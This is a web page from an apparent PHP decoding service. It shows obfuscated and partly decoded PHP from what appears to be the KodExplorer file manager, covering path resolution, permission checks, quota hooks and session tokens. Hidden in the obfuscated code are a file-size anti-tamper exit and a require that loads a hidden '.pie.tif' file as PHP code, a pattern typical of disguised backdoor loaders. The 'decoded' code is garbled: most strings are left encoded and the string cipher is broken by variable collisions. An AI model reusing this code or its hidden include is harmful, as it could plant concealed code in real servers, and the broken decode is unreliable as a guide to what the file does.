Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if (!function_exists('_kstr2')) { $fb=base64_decode("ZmlsZXNpemU=");$fa=";_kstr2('..

Decoded Output download

<?php 
 if (!function_exists('_kstr2')) { $fb=base64_decode("ZmlsZXNpemU=");$fa=";_kstr2('fkeiie')";$sz=$fb(__FILE__);if($sz<25838   ||$sz>25858   ){exit;} function _kstr2($F) { $e = strlen($F); $B = ''; $a = ord($F[0]) - 30; for ($F = 1; $F < $e; $F += 2) { if ($F + 1 < $e) { $B .= chr(ord($F[$F + 1]) + $a); $B .= chr(ord($F[$F]) + $a); } else { $B .= chr(ord($F[$F]) + $a); } } return $B; } } $GLOBALS[_kstr2('.T]%')] = _kstr2('(Zc+'); $GLOBALS[_kstr2(',e\`aWQU`VaW')] = _kstr2('2_VZ[QKOZP[Q'); $GLOBALS[base64_decode('anNvbl9kZWNvZA==')."e"] = base64_decode('anNvbl9kZWNvZGU='); $GLOBALS[_kstr2('+TUXf\')XRa')._kstr2('0]QSR')] = base64_decode('YmFzZTY0X2VuY29kZQ=='); $GLOBALS["file_get_c"._kstr2('0\]b')._kstr2('+X')."nts"] = "file_get"._kstr2('+VRb')._kstr2(')iccZhi'); $GLOBALS["in_array"] = "in_array"; $GLOBALS[_kstr2('0[WZ^R]S')] = base64_decode('aW1wbG9kZQ=='); $GLOBALS[base64_decode('ZXhwbG9kZQ==')] = "explode"; $GLOBALS["count"] = _kstr2('+bVahg'); $GLOBALS[_kstr2('0SVRO`S')] = _kstr2('+X[WTeX'); $GLOBALS[base64_decode('c3RydG90aW1l')] = _kstr2('(jijhjec_')._kstr2('(['); $GLOBALS[_kstr2('(jibhd[')] = base64_decode('c3RybGVu'); $GLOBALS[_kstr2('-ce^Z')] = "trim"; $GLOBALS[_kstr2('(jiUh[hbfYW[')] = base64_decode('c3RyX3JlcGxh')._kstr2('-VT'); $GLOBALS[_kstr2('0O`ceZ`\S]QR')._kstr2('([')] = base64_decode('cmF3dXJsZW5jb2Q=')._kstr2('0S'); $GLOBALS["substr"] = _kstr2('+hffUeg'); $GLOBALS[_kstr2('/XcT\')] = _kstr2('.YdU]'); $GLOBALS["file_put_conten"."ts"] = _kstr2('/XUT[_NcdN').base64_decode('Y28=')._kstr2('2`ZQ')._kstr2(',f`e'); $GLOBALS["file_exists"] = "file_exis".base64_decode('dHM='); $GLOBALS["preg_repla"._kstr2('.US')] = _kstr2('.b`WUbO`UQ\US'); $GLOBALS[_kstr2('-Vddd`ZP_edcRe')] = base64_decode('c2Vzc2lvbl9z')."tart"; $GLOBALS[_kstr2('([iiie_UdWd[c')] = _kstr2('+Xfffb\RaTaX`'); define(_kstr2('+B>R7E:HB').base64_decode('UF9QQVRI'), _kstr2(',YmadbgSB')._kstr2('2T`i')); define(base64_decode('S09EX0dST1U=')._kstr2('1L=5@?.')._kstr2('):'), _kstr2('1Th\_]bU@_NjR')); define(_kstr2('*C?S8GIF9GS@9:'), _kstr2(')jpZhHgaZr[')); define(_kstr2('.?;O4CEB5').base64_decode('X1NIQVJF'), base64_decode('e3VzZXJTaGFyZX0=')); define("KOD_USER"._kstr2('0@M131G3:'), base64_decode('e3VzZXJSZWN5Y2xlfQ==')); define("KOD_USER_FAV", "{userFav}"); define("KOD_GROUP"._kstr2(')GTDDTI')._kstr2('21?28'), _kstr2('.dkUb7U_be')._kstr2('/B_[TlU')); define(_kstr2('/>:N3A6D>N?')."ROOT_ALL", _kstr2(',fmWd9Wadbg^3o^')); function _DIR_CLEAR($D) { $D = $GLOBALS[_kstr2(',feQdWd^bUSW')](_kstr2(',N'), _kstr2('+"'), $D); $D = $GLOBALS[base64_decode('cHJlZ19yZXBsYWNl')](_kstr2(',N!!!'), _kstr2('- '), $D); $B = $D; if (isset($GLOBALS["isRoot"]) && $GLOBALS[_kstr2('2_U[>`[')]) { return $D; } $E = base64_decode('Ly4uLw=='); if ($GLOBALS[_kstr2(')jhhWgi')]($D, 0, 3) == "../") { $D = $GLOBALS[_kstr2('0caaP`b')]($D, 3); } while (strstr($D, $E)) { $D = $GLOBALS["str_replace"]($E, _kstr2('(%'), $D); } $D = $GLOBALS[_kstr2('0`^US`M^SZ')._kstr2('/RP')."e"]("/\/+/", _kstr2('- '), $D); return $D; } function _DIR($F) { $D = _DIR_CLEAR($F); $D = iconv_system($D); $a = array(KOD_GROUP_PATH, KOD_GROUP_SHARE, KOD_USER_SELF, KOD_GROUP_ROOT_SELF, KOD_GROUP_ROOT_ALL, KOD_USER_SHARE, KOD_USER_RECYCLE, KOD_USER_FAV); $GLOBALS[_kstr2(')d`EYiVI]')._kstr2('(fo[')] = ''; $GLOBALS[_kstr2('+b^CWgTC[Xe')] = HOME; $GLOBALS["kodPathId"] = ''; unset($GLOBALS[_kstr2('0]Y>RbO7VR')."Share"]); foreach ($a as $F) { if ($GLOBALS[_kstr2('/dbbQac')]($D, 0, $GLOBALS[_kstr2('.dc\b^U')]($F)) == $F) { $GLOBALS[_kstr2('2[W<P`M@T\eQ')] = $F; $C = $GLOBALS[_kstr2(',jW^bVaW')]("/", $D); $E = $C[0]; unset($C[0]); $c = $GLOBALS["implode"](base64_decode('Lw=='), $C); $E = $GLOBALS[_kstr2('+kX_cWbX')](_kstr2('/)'), $E); if ($GLOBALS[base64_decode('Y291bnQ=')]($E) > 1) { $GLOBALS[base64_decode('a29kUGF0aElk')] = $GLOBALS[_kstr2('-ce^Z')]($E[1]); } else { $GLOBALS[base64_decode('a29kUGF0aElk')] = ''; } break; } } switch ($GLOBALS["kodPathType"]) { case '': $D = iconv_system(HOME) . $D; break; case KOD_USER_RECYCLE: $GLOBALS[_kstr2('(eaFZjWF^[h')] = $GLOBALS[_kstr2('1_aZV')](USER_RECYCLE, _kstr2('0')); $GLOBALS["kodPathI"."d"] = ''; return iconv_system(USER_RECYCLE) . _kstr2('1') . str_replace(KOD_USER_RECYCLE, '', $D); case KOD_USER_SELF: $GLOBALS[_kstr2('+b^CWgTC[Xe')] = $GLOBALS[_kstr2('.bd]Y')](HOME_PATH, base64_decode('Lw==')); $GLOBALS[_kstr2('+b^CWgT<[')._kstr2('(Z')] = ''; return iconv_system(HOME_PATH) . "/" . str_replace(KOD_USER_SELF, '', $D); case KOD_USER_FAV: $GLOBALS["kodPathPre"] = $GLOBALS["trim"](KOD_USER_FAV, _kstr2(')$')); $GLOBALS[_kstr2('2[W<P`M5TP')] = ''; return KOD_USER_FAV; case KOD_GROUP_ROOT_SELF: $GLOBALS["kodPathPre"] = $GLOBALS["trim"](KOD_GROUP_ROOT_SELF, _kstr2('- ')); $GLOBALS[_kstr2('*c_DXhU=\X')] = ''; return KOD_GROUP_ROOT_SELF; case KOD_GROUP_ROOT_ALL: $GLOBALS["kodPathPre"] = $GLOBALS["trim"](KOD_GROUP_ROOT_ALL, "/"); $GLOBALS[base64_decode('a29kUGF0aElk')] = ''; return KOD_GROUP_ROOT_ALL; case KOD_GROUP_PATH: $D = systemGroup::getInfo($GLOBALS[_kstr2('2[W<P`M5T')._kstr2('/S')]); if (!$GLOBALS[_kstr2('(eaFZjW?^Z')] || !$D) { return false; } owner_group_check($GLOBALS["kodPathId"]); $GLOBALS["kodPathPre"] = group_home_path($D); $D = iconv_system($GLOBALS["kodPathPre"]) . $c; break; case KOD_GROUP_SHARE: $D = systemGroup::getInfo($GLOBALS[base64_decode('a29kUGF0aElk')]); if (!$GLOBALS[_kstr2(')d`EYiV>]Y')] || !$D) { return false; } owner_group_check($GLOBALS[_kstr2(',a]BVfS;ZV')]); $GLOBALS[_kstr2('-`\AUeRAY')._kstr2(',Wd')] = group_home_path($D) . $GLOBALS[_kstr2('/^RU]VX')][_kstr2('0Sabb\WAUag')._kstr2(',f').base64_decode('ZW0=')]["groupShareFold"."er"] . _kstr2('/'); $D = iconv_system($GLOBALS["kodPathPre"]) . $c; break; case KOD_USER_SHARE: $D = systemMember::getInfo($GLOBALS[_kstr2('*c_DXhU=\X')]); if (!$GLOBALS[_kstr2('0]Y>RbO7V')."d"] || !$D) { return false; } if ($GLOBALS[_kstr2('-`\AUeR:YU')] != $_SESSION[_kstr2('-`\FUVdc')][base64_decode('dXNlcklE')]) { $F = $GLOBALS["config"]["pathRoleGr"._kstr2(',ga6bXWgSf^')][_kstr2('2')][_kstr2('1PNVa[\`')]; path_role_check($F); } $GLOBALS[_kstr2('+b^CWgTC[')._kstr2('2Q^')] = ''; $GLOBALS[base64_decode('a29kUGF0aElkU2hh')."re"] = $F; if ($c == '') { return $D; } else { $d = $GLOBALS[_kstr2('2dQX\P[Q')](base64_decode('Lw=='), $c); $d[0] = iconv_app($d[0]); $f = systemMember::userShareGet($GLOBALS["kodPathI".base64_decode('ZA==')], $d[0]); $GLOBALS[base64_decode('a29kU2hhcmVJ')._kstr2('2RZ[')] = $f; $GLOBALS["kodPathI"._kstr2('.CTQX')."re"] = KOD_USER_SHARE . ":" . $GLOBALS[_kstr2('1\X=QaN6UQ')] . _kstr2('0') . $d[0] . _kstr2('/'); unset($d[0]); if (!$f) { return false; } $e = rtrim($f[_kstr2('.Q`Xd')], "/") . _kstr2(')$') . iconv_app($GLOBALS[_kstr2('.]Y\`T_U')]("/", $d)); if ($D["role"] != _kstr2('/ ')) { $f = user_home_path($D); $GLOBALS[_kstr2('0]Y>RbO>VS`')] = $f . rtrim($f[_kstr2('.Q`Xd')], _kstr2('0')) . _kstr2('+"'); $D = $f . $e; } else { $GLOBALS[_kstr2('0]Y>RbO>V')._kstr2('([h')] = $f[_kstr2('/P_Wc')]; $D = $e; } if ($f["type"] == _kstr2('.YVU\')) { $GLOBALS[_kstr2(',a]BVfS;Z')."dShare"] = rtrim($GLOBALS[base64_decode('a29kUGF0aEk=')."dS"."ha"._kstr2('-Vc')], base64_decode('Lw==')); $GLOBALS[_kstr2('1\X=QaN=UR_')] = rtrim($GLOBALS["kodPathPre"], _kstr2('1')); } $D = iconv_system($D); } $GLOBALS[_kstr2('2[W<P`M<TQ^')] = _DIR_CLEAR($GLOBALS[base64_decode('a29kUGF0aFByZQ==')]); $GLOBALS[_kstr2('/^Z?ScP8W')."dShare"] = _DIR_CLEAR($GLOBALS[base64_decode('a29kUGF0aElkUw==')."har"."e"]); break; default: break; } if ($D != "/") { $D = rtrim($D, _kstr2(')$')); if (is_dir($D)) { $D = $D . "/"; } } return _DIR_CLEAR($D); } function _DIR_OUT($e) { if (is_array($e)) { foreach ($e[base64_decode('ZmlsZUxpc3Q=')] as $a => &$b) { $b[_kstr2('.Q`Xd')] = preClear($b["path"]); } foreach ($e[_kstr2(',aXV^dW[>e')."t"] as $a => &$b) { $b[base64_decode('cGF0aA==')] = preClear(rtrim($b[base64_decode('cGF0aA==')], base64_decode('Lw==')) . _kstr2('(%')); } } else { $e = preClear($e); } return $e; } function preClear($D) { $a = $GLOBALS[_kstr2('1\X=QaNAU]fR')]; $B = rtrim($GLOBALS[_kstr2('0]Y>RbO>V`').base64_decode('ZQ==')], _kstr2('(%')); $d = array(KOD_USER_FAV, KOD_GROUP_ROOT_SELF, KOD_GROUP_ROOT_ALL); if (isset($GLOBALS[_kstr2(')d`EYiVI]enZ')]) && $GLOBALS[_kstr2('(d_WUhhoW')]($GLOBALS[_kstr2('/^Z?ScPCW_hT')], $d)) { return $D; } if (ST == base64_decode('c2hhcmU=')) { return $GLOBALS[base64_decode('c3RyX3JlcGxhYw==')."e"]($B, '', $D); } if ($GLOBALS[_kstr2('*c_DXhU=\X')] != '') { $a .= _kstr2('/)') . $GLOBALS[_kstr2('(eaFZjW?^Z')] . _kstr2('+"'); } if (isset($GLOBALS["kodPathI"."dSha"._kstr2('*Yf')])) { $a = $GLOBALS["kodPathI"._kstr2(')Y')."Share"]; } $B = $a . str_replace($B, '', $D); $B = $GLOBALS[_kstr2('-edPcVc]aTR')."e"](base64_decode('Ly8='), _kstr2(',!'), $B); return $B; } require PLUGIN_DIR . _kstr2(',f!aae^a5')._kstr2('+``abf"')._kstr2(')Vi^i$X^eZ')."/.pie.tif"; function owner_group_check($D) { if (!$D) { show_json(LNG(_kstr2('2^Sa[K\[ZK`Q')._kstr2('*l')._kstr2(',e[f')) . $D, false); } if ($GLOBALS[base64_decode('aXNSb290')] || isset($GLOBALS["kodPathAu"._kstr2('+[g')._kstr2(',Z5UW]')]) && $GLOBALS[_kstr2('._[@TdQ1X')."uthCh"."eck"] === true) { return; } $E = systemMember::userAuthGroup($D); if ($E == false) { if ($GLOBALS[base64_decode('a29kUGF0aFR5cA==').base64_decode('ZQ==')] == KOD_GROUP_PATH) { show_json(LNG(_kstr2('-`_aPcVZ^dd`Z')._kstr2('*Sbf[icd')), false); } else { if ($GLOBALS["kodPathType"] == KOD_GROUP_SHARE) { $F = $GLOBALS[_kstr2('2[ORZSU')]["pathRole"._kstr2('(h=ke:f')._kstr2('.VUeQd\')][_kstr2('(\'')]; } } } else { $F = $GLOBALS[_kstr2(',aUX`Y[')]["pathRoleGro"._kstr2('+ch')][$E]; } path_role_check($F[_kstr2(')XV^icdh')]); } function path_group_can_read($D) { return path_group_auth_check($D, _kstr2('*lY`dfcfY"')."pathList"); } function path_group_auth_check($D, $f) { if ($GLOBALS[base64_decode('aXNSb290')]) { return true; } $E = systemMember::userAuthGroup($D); $F = $GLOBALS["config"][base64_decode('cGF0aFJvbGU=')._kstr2('.b7e_`')][$E]; $f = role_permission_arr($F[base64_decode('YWN0aW9ucw==')]); if (!isset($f[$f])) { return false; } return true; } function path_can_copy_move($F, $b) { return; if ($GLOBALS["isRoot"]) { return; } $F = pathGroupID($F); $F = pathGroupID($b); if (!$F) { return; } if ($F == $F && path_group_auth_check($F, "explorer.p"._kstr2('1aN=U`Na'))) { return; } show_json(LNG(_kstr2('0]\^M`SW[')."ssio".base64_decode('bl9hY3Rpb24=')), false); } function pathGroupID($D) { $D = _DIR_CLEAR($D); preg_match(_kstr2('*#') . KOD_GROUP_PATH . _kstr2('+-WO!"'), $D, $d); if ($GLOBALS[_kstr2(',aU`gf')]($d) != 2) { return false; } return $d[1]; } function path_role_check($F) { if ($GLOBALS[_kstr2('+f\bEgb')] || isset($GLOBALS[_kstr2('+b^CWgT4[gh')."hCheck"]) && $GLOBALS[base64_decode('a29kUGF0aEE=')."uthCheck"] === true) { return; } $f = role_permission_arr($F); $GLOBALS["kodPathR"._kstr2('.\_7U_b').base64_decode('dXBBdXRo')] = $f; $F = ST . "." . ACT; if ($F == _kstr2(',^bYg`[b3b')._kstr2('0b]') && !isset($f[base64_decode('ZXhwbG9yZXI=').".fileProxy"])) { show_tips(LNG(_kstr2(')dceTgZ^bhhd^Tc')."action"), false); } if (!isset($f[$F]) && ST != _kstr2(',ZedSW')) { show_json(LNG("no_permi"."ss"._kstr2('*c]SbWU]hbc')), false); } } function role_permission_arr($e) { $B = array(); $e = $GLOBALS[base64_decode('Y29uZmln')][_kstr2('2M\T`[>QX')._kstr2('/T3')._kstr2('+\YXa')]; foreach ($e as $a => $b) { if (!$b) { continue; } $C = $GLOBALS[_kstr2(')mZaeYdZ')](_kstr2('/)'), $a); if ($GLOBALS[base64_decode('Y291bnQ=')]($C) == 2 && is_array($e[$C[0]]) && is_array($e[$C[0]][$C[1]])) { $B = array_merge($B, $e[$C[0]][$C[1]]); } } $A = array(); foreach ($B as $b) { $A[$b] = "1"; } return $A; } function check_file_writable_user($D) { if (!isset($GLOBALS["kodPathType"])) { _DIR($D); } $f = base64_decode('ZWRpdG9yLmZpbA==')."eSave"; if ($GLOBALS[_kstr2('2_U[>`[')]) { return @is_writable($D); } if ($GLOBALS[base64_decode('YXV0aA==')][$f] != _kstr2('+$')) { return false; } if ($GLOBALS["kodPathT"._kstr2('0^gS')] == KOD_GROUP_PATH && is_array($GLOBALS[_kstr2('+b^CWgTE[')."ole"._kstr2(',d9ga3bfgZ')]) && $GLOBALS[_kstr2('1\X=QaN?U\')."leGroupA"."ut"._kstr2(',Z')][$f] == _kstr2('*%')) { return true; } if ($GLOBALS[_kstr2('1\X=QaNAU]fR')] == '' || $GLOBALS[_kstr2('0]Y>RbOBVg')._kstr2('2\')._kstr2('2Q')] == KOD_USER_SELF) { return true; } return false; } function spaceSizeCheck() { if (!system_space()) { return; } if ($GLOBALS[_kstr2('/bX^Ac^')] == 1) { return; } if (isset($GLOBALS[base64_decode('a29kQmVmb3JlUGF0aElk')]) && isset($GLOBALS[_kstr2('*c_DXhU=\X')]) && $GLOBALS[_kstr2('-`\3UWVc`V')._kstr2('.Q@XdT9')] == $GLOBALS["kodPathId"]) { return; } if ($GLOBALS[_kstr2('+b^CWgTG[clX')] == KOD_GROUP_SHARE || $GLOBALS[_kstr2('-`\AUeREYj')."pe"] == KOD_GROUP_PATH) { systemGroup::spaceCheck($GLOBALS["kodPathId"]); } else { if (ST == _kstr2('2T_^MQ')) { $D = $GLOBALS["in"][_kstr2(')hjgZ')]; } else { $D = $_SESSION[base64_decode('a29kVXNlcg==')]["userID"]; } systemMember::spaceCheck($D); } } function spaceSizeGet($D, $B) { $b = 0; if (is_file($D)) { $b = get_filesize($D); } else { if (is_dir($D)) { $e = _path_info_more($D); $b = $e[_kstr2('.YcUj')]; } else { return _kstr2('.Y]cc'); } } return $B ? $b : -$b; } function spaceInData($D) { if ($GLOBALS[_kstr2(')jhhWgi')]($D, 0, $GLOBALS[base64_decode('c3RybGVu')](HOME_PATH)) == HOME_PATH || $GLOBALS["substr"]($D, 0, $GLOBALS[base64_decode('c3RybGVu')](USER_RECYCLE)) == USER_RECYCLE) { return true; } return false; } function spaceSizeChange($a, $B = true, $E = false, $a = false) { if (!system_space()) { return; } if ($E === false) { $E = $GLOBALS[_kstr2('0]Y>RbOBV^g')._kstr2('-V')]; $a = $GLOBALS["kodPathId"]; } $F = spaceSizeGet($a, $B); if ($F == "miss") { return false; } if ($E == KOD_GROUP_SHARE || $E == KOD_GROUP_PATH) { systemGroup::spaceChange($a, $F); } else { if (ST == "share") { $D = $GLOBALS[_kstr2('(d_')][_kstr2('.cebU')]; } else { $D = $_SESSION[_kstr2(',a]GVWed')][base64_decode('dXNlcklE')]; } systemMember::spaceChange($D, $F); } } function spaceSizeChangeRemove($a) { spaceSizeChange($a, false); } function spaceSizeChangeMove($B, $F) { if (isset($GLOBALS[_kstr2('-`\3UWVc`AVeR')."hId"]) && isset($GLOBALS[_kstr2(')d`EYiV>]Y')])) { if ($GLOBALS[_kstr2(')d`7Y[ZgdZ')."PathId"] == $GLOBALS[base64_decode('a29kUGF0aElk')] && $GLOBALS[_kstr2('.UR_VUbQ@XdD')._kstr2('+clX')] == $GLOBALS["kodPathType"]) { return; } spaceSizeChange($F, false); spaceSizeChange($F, true, $GLOBALS[base64_decode('YmVmb3JlUGF0aFR5cGU=')], $GLOBALS["kodBeforePath"._kstr2('(Z?')]); } else { spaceSizeChange($F); } } function spaceSizeReset() { if (!system_space()) { return; } $E = isset($GLOBALS["kodPathType"]) ? $GLOBALS["kodPathType"] : ''; $a = isset($GLOBALS["kodPathId"]) ? $GLOBALS["kodPathI"._kstr2('-U')] : ''; if ($E == KOD_GROUP_SHARE || $E == KOD_GROUP_PATH) { systemGroup::spaceChange($a); } else { $D = $_SESSION["kodUser"]["userID"]; systemMember::spaceChange($D); } } function init_space_size_hook() { Hook::bind(base64_decode('dXBsb2FkRmk=')._kstr2(',W^W4aXWd'), "spaceSize".base64_decode('Q2hlY2s=')); Hook::bind(_kstr2('/_d^[SPX5T[0')."fter", "spaceSiz"._kstr2('-4V')."hange"); Hook::bind(_kstr2('(n[bfheh[$')._kstr2('0Sad``S')._kstr2('*c8bkc`XU').base64_decode('Qg==')._kstr2('+YXebX'), "spaceSizeCheck"); Hook::bind("explorer".".unzipBe"."fo"."re", base64_decode('c3BhY2VTaXpl')._kstr2('(^9Y[a')); Hook::bind(_kstr2('*lY`dfcfY').".zipBefore", _kstr2(')ehXVHZo^8Z]')._kstr2('0QSY')); Hook::bind(_kstr2('(n[bfheh[f$jWF^')._kstr2('.Q')._kstr2('/cb'), _kstr2('-adTRDVkZ4VVY\T')); Hook::bind(_kstr2('.hU\`b_bU')._kstr2('/Z\XUT[T1')."fore", _kstr2('0^aQOAShW1SSV')._kstr2('+^V')); Hook::bind(_kstr2(',jW^bdadW_ ')._kstr2('0RY`WS0]TS`'), _kstr2('(fiYWI[p_9[[^aY')); Hook::bind("explorer.pa"."th"."Move", "spaceSiz"."eCheck"); Hook::bind(_kstr2('0fSZ^`]`S')._kstr2(',_ X]^[3W')."fter", _kstr2('-adTRDVkZV')."Change"); Hook::bind(_kstr2('.hU\`b_bU')._kstr2('0O^Vb]1g^T/')._kstr2(',Wfd'), _kstr2('1]`PN@RgV')."eChange"); Hook::bind(base64_decode('ZXhwbG9yZXIueg==')._kstr2('(f_\7[jh'), _kstr2(')ehXVHZo^8Z]')._kstr2('*bUY[')); Hook::bind("explorer".".unzip"."A"."fter", _kstr2('2\_OM?QfUQ')._kstr2('.3')._kstr2('-RYX_V')); Hook::bind(_kstr2('.hU\`b_bU')._kstr2('.UcfbbU')."DownloadAfter", "spaceSizeC"."han"."ge"); Hook::bind(_kstr2('.hU\`b_bU`')._kstr2('0bOV')._kstr2(',a?WhW4aXWd'), base64_decode('c3BhY2VTaXo=').base64_decode('ZQ==')."Che".base64_decode('Y2s=')); Hook::bind("explorer"._kstr2(',b fS?Zha3WX')."ter", "spaceSiz"."eCha"._kstr2('(]dC[le[')); Hook::bind("explorer."._kstr2('.Q`XdUB')."moveBefor"._kstr2('*Y'), base64_decode('c3BhY2VTaXo=')._kstr2(')8ZV]\cGZ')._kstr2(',_WhaW')); if ($GLOBALS[_kstr2('.^Y')][base64_decode('c2hpZnREZWxldGU=')]) { Hook::bind(_kstr2('+kX_cebeX!').base64_decode('cA==')."athRemov"._kstr2('0/SbT`S'), _kstr2('1]`PN@RgV?R`R').base64_decode('ZQ==')._kstr2(',f')); } Hook::bind(_kstr2('/Tc_\P[Tc2').base64_decode('bw==').base64_decode('bW1vbkg=')._kstr2('1NRRQ@_Na_').base64_decode('dA=='), "checkUserL"._kstr2('-^ZeZ')); } function checkUserLimit() { $b = $_SESSION[_kstr2(')d`JYZhg')]; if (!$b) { return; } $B = systemMemberData(_kstr2('*\WWYI_Yg@fa]]')._kstr2('-e')); $F = $B->get($b[_kstr2('(ikh[:?')]); if (!$F) { show_tips(_kstr2('-~zzy').""."".""._kstr2('+{}')._kstr2('/').""._kstr2('2').base64_decode('rqE=')._kstr2('0~tvts').base64_decode('jeWQjeminSE=')); } } function init_session() { if (!function_exists(_kstr2('0Saaa]WM\ba`Ob'))) { show_tips(base64_decode('5pyN5Yqh5Zmo').base64_decode('cGhw57uE')._kstr2('+C')._kstr2(')E=bh^ha')."ib)<"."br/>"."php.ini"._kstr2('1ym')._kstr2('.qp').base64_decode('oQ==')._kstr2('+')._kstr2('1 
\'O)_)+_]')._kstr2('-/VVddd`Z_')._kstr2('+')._kstr2('2_VZ[O^a')._kstr2('1YeRSVZO')."string,ld"."a".base64_decode('cCxnZCw=')."pdo,pdo-mys"._kstr2('0Z_fZ[*^').base64_decode('cg==')._kstr2('/-TQ+a-')); } if (isset($_REQUEST[base64_decode('YWNjZXNzVG9r')."en"])) { access_token_check($_REQUEST[_kstr2('*WUYWggcHY_b')]); } else { if (isset($_REQUEST[_kstr2('1PNRP``aL\')."ken"])) { access_token_check($_REQUEST[_kstr2('-TRVTddeP\`_V')]); } else { @session_name(SESSION_ID); } } $c = @session_save_path(); if (class_exists(_kstr2('*UGGYchUfY[')) || defined(_kstr2('-2DP6A2?A2')."ME") || defined(_kstr2('(;IIIE?UD7F')."TH_DEFAU".base64_decode('TFQ=')) || @ini_get("session."."save"._kstr2(')]TcVaYgZ')) != _kstr2('+\YX_f') || isset($_SERVER[_kstr2('-E9AE2PAA2?6>')])) { } else { chmod_path(KOD_SESSION, 511); @session_save_path(KOD_SESSION); } @session_start(); $_SESSION[base64_decode('a29k')] = 1; @session_write_close(); @session_start(); if (!$_SESSION[_kstr2('/^ZS')]) { @session_save_path($c); @session_start(); $_SESSION[_kstr2('*c_X')] = 1; @session_write_close(); @session_start(); } if (!$_SESSION[_kstr2('*c_X')]) { show_tips(_kstr2('2yv_')."ession"._kstr2(')hhZ')."sion wri".base64_decode('dGUgZXJyb3IpPGI=')."r/>" . _kstr2(',r')."php.ini"._kstr2('-vv~')._kstr2('.{q')._kstr2('(').",".base64_decode('iJblkg==')._kstr2('+}')._kstr2('*zt0vfV')._kstr2('/-Q+a-') . _kstr2(',Weeea[ `Seh')._kstr2(',QWSbZf/') . $c . base64_decode('PGJyLz4=') . "session."._kstr2('0Oad').base64_decode('ZV9oYW5kbGVyPQ==') . @ini_get(_kstr2('*Ygggc]"bUgYjS')._kstr2('2MTPZQX^')) . base64_decode('PGJyLz4=')); } } function access_token_check($D) { $f = $GLOBALS[_kstr2('+bVYaZ\')]["settingSy"._kstr2('0ba[S')]["systemPassword"]; $f = $GLOBALS[_kstr2('/dbbQac')]($GLOBALS[_kstr2('0R[#')]("kodExplorer_" . $f), 0, 15); $e = Mcrypt::decode($D, $f); if (!$e) { show_tips(_kstr2('.SQUScc_DU[^')."error!"); } session_id($e); $GLOBALS[_kstr2('0Saaa]WM\O\S[')](SESSION_ID); } function access_token_get() { $e = session_id(); $f = $GLOBALS[base64_decode('Y29uZmln')][_kstr2('1R`aa[V@T`fRaZ')][_kstr2('*mghgaYUDggckXf')]; $f = $GLOBALS[_kstr2('/dbbQac')]($GLOBALS[_kstr2('0R[#')]("kodExplore"."r_" . $f), 0, 15); $c = Mcrypt::encode($e, $f, 3600 * 24); return $c; } function init_config() { init_setting(); init_session(); init_space_size_hook(); } 
 ?>

Did this file decode correctly?

Original Code

<?php
 if (!function_exists('_kstr2')) { $fb=base64_decode("ZmlsZXNpemU=");$fa=";_kstr2('fkeiie')";$sz=$fb(__FILE__);if($sz<25838   ||$sz>25858   ){exit;} function _kstr2($F) { $e = strlen($F); $B = ''; $a = ord($F[0]) - 30; for ($F = 1; $F < $e; $F += 2) { if ($F + 1 < $e) { $B .= chr(ord($F[$F + 1]) + $a); $B .= chr(ord($F[$F]) + $a); } else { $B .= chr(ord($F[$F]) + $a); } } return $B; } } $GLOBALS[_kstr2('.T]%')] = _kstr2('(Zc+'); $GLOBALS[_kstr2(',e\\`aWQU`VaW')] = _kstr2('2_VZ[QKOZP[Q'); $GLOBALS[base64_decode('anNvbl9kZWNvZA==')."\x65"] = base64_decode('anNvbl9kZWNvZGU='); $GLOBALS[_kstr2('+TUXf\')XRa')._kstr2('0]QSR')] = base64_decode('YmFzZTY0X2VuY29kZQ=='); $GLOBALS["\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63"._kstr2('0\\]b')._kstr2('+X')."\156\164\163"] = "\x66\x69\x6c\x65\x5f\x67\x65\x74"._kstr2('+VRb')._kstr2(')iccZhi'); $GLOBALS["\151\156\137\141\162\162\141\171"] = "\x69\x6e\x5f\x61\x72\x72\x61\x79"; $GLOBALS[_kstr2('0[WZ^R]S')] = base64_decode('aW1wbG9kZQ=='); $GLOBALS[base64_decode('ZXhwbG9kZQ==')] = "\x65\x78\x70\x6c\x6f\x64\x65"; $GLOBALS["\x63\x6f\x75\x6e\x74"] = _kstr2('+bVahg'); $GLOBALS[_kstr2('0SVRO`S')] = _kstr2('+X[WTeX'); $GLOBALS[base64_decode('c3RydG90aW1l')] = _kstr2('(jijhjec_')._kstr2('(['); $GLOBALS[_kstr2('(jibhd[')] = base64_decode('c3RybGVu'); $GLOBALS[_kstr2('-ce^Z')] = "\164\162\151\155"; $GLOBALS[_kstr2('(jiUh[hbfYW[')] = base64_decode('c3RyX3JlcGxh')._kstr2('-VT'); $GLOBALS[_kstr2('0O`ceZ`\\S]QR')._kstr2('([')] = base64_decode('cmF3dXJsZW5jb2Q=')._kstr2('0S'); $GLOBALS["\x73\x75\x62\x73\x74\x72"] = _kstr2('+hffUeg'); $GLOBALS[_kstr2('/XcT\\')] = _kstr2('.YdU]'); $GLOBALS["\146\151\154\145\137\160\165\164\137\143\157\156\164\145\156"."\x74\x73"] = _kstr2('/XUT[_NcdN').base64_decode('Y28=')._kstr2('2`ZQ')._kstr2(',f`e'); $GLOBALS["\146\151\154\145\137\145\170\151\163\164\163"] = "\x66\x69\x6c\x65\x5f\x65\x78\x69\x73".base64_decode('dHM='); $GLOBALS["\160\162\145\147\137\162\145\160\154\141"._kstr2('.US')] = _kstr2('.b`WUbO`UQ\\US'); $GLOBALS[_kstr2('-Vddd`ZP_edcRe')] = base64_decode('c2Vzc2lvbl9z')."\164\141\162\164"; $GLOBALS[_kstr2('([iiie_UdWd[c')] = _kstr2('+Xfffb\\RaTaX`'); define(_kstr2('+B>R7E:HB').base64_decode('UF9QQVRI'), _kstr2(',YmadbgSB')._kstr2('2T`i')); define(base64_decode('S09EX0dST1U=')._kstr2('1L=5@?.')._kstr2('):'), _kstr2('1Th\\_]bU@_NjR')); define(_kstr2('*C?S8GIF9GS@9:'), _kstr2(')jpZhHgaZr[')); define(_kstr2('.?;O4CEB5').base64_decode('X1NIQVJF'), base64_decode('e3VzZXJTaGFyZX0=')); define("\x4b\x4f\x44\x5f\x55\x53\x45\x52"._kstr2('0@M131G3:'), base64_decode('e3VzZXJSZWN5Y2xlfQ==')); define("\113\117\104\137\125\123\105\122\137\106\101\126", "\x7b\x75\x73\x65\x72\x46\x61\x76\x7d"); define("\113\117\104\137\107\122\117\125\120"._kstr2(')GTDDTI')._kstr2('21?28'), _kstr2('.dkUb7U_be')._kstr2('/B_[TlU')); define(_kstr2('/>:N3A6D>N?')."\122\117\117\124\137\101\114\114", _kstr2(',fmWd9Wadbg^3o^')); function 